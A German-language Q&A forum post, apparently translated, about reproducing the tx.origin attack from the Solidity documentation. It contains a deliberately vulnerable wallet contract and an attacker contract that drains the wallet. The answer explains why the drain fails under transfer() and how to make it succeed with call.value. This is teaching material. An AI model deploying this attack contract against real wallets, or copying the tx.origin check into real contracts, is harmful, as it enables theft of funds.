tx.origin-Angriff kann nicht repliziert werden

Ich habe die Solidity-Dokumentation gelesen und beschlossen, tx.origin attack zu replizieren . Ich habe den Vertrag aus der Dokumentation kopiert, aber ich bekomme einen Fehler, wenn ich die Funktion "transferTo" verwende. Überprüfen Sie den Remix-Screenshot unten auf die Fehlerdetails.

Unten finden Sie meinen Vertrag.

// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
    address owner;

    function TxUserWallet() payable public  {
        owner = msg.sender;
    }

    function transferTo(address dest, uint256 amount) payable public {

        require(tx.origin == owner);
        dest.transfer(amount);
    }

    function getBalance() constant returns(uint256){
        return this.balance;
    }

    function getOwner() constant returns(address){
       return owner;
    }
}


interface TxUserWallet {
    function transferTo(address dest, uint amount) public;
}

contract TxAttackWallet {
    address owner;

    function TxAttackWallet() payable public  {
        owner = msg.sender;
    }

    function() payable public {
        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
    }

    function getBalance() constant returns(uint256){
        return this.balance;
    }

    function getOwner() constant returns(address){
       return owner;
    }


}

Geben Sie hier die Bildbeschreibung ein

Antworten (1)

Es ist keine gute Idee, sich auf tx.origin zu verlassen, um festzustellen, ob die Transaktion von einer vertrauenswürdigen Partei stammt oder nicht. Dies ist das Kapitel von Solidity doc, von dem Sie erfahren. Das verwundbare Codestück ist require(tx.origin == owner);.

Um diesen tx.origin-Fehler tatsächlich auszunutzen, wird ein Reentrancy-Angriff versucht, der jedoch fehlschlägt, da heutzutage dest.transfer(amount);nur noch 2300 Gas an die Fallback-Funktion von destContract gesendet werden.

Um den Missbrauch der tx.origin-basierten Sicherheitskontrolle zu beobachten (ohne Berücksichtigung des neuen Verhaltens von transfer(), das den Reentrancy-Trick bricht), können Sie dest.transfer(amount);zu wechseln dest.call.value(amount)(). Wie hier https://github.com/abbbe/txorigin/blob/master/contracts/TxUserWallet.sol#L14 .

Und aus dem Screenshot geht nicht hervor, ob Sie den Angriff korrekt auslösen. Sie müssen TxUserWallet.transferTo(ADDR_OF_TxAttacWallet, 1)vom Besitzerkonto von TxUserWallet aus anrufen. Dadurch werden alle Gelder von TxUserWallet an den Eigentümer von TxAttackWallet gesendet .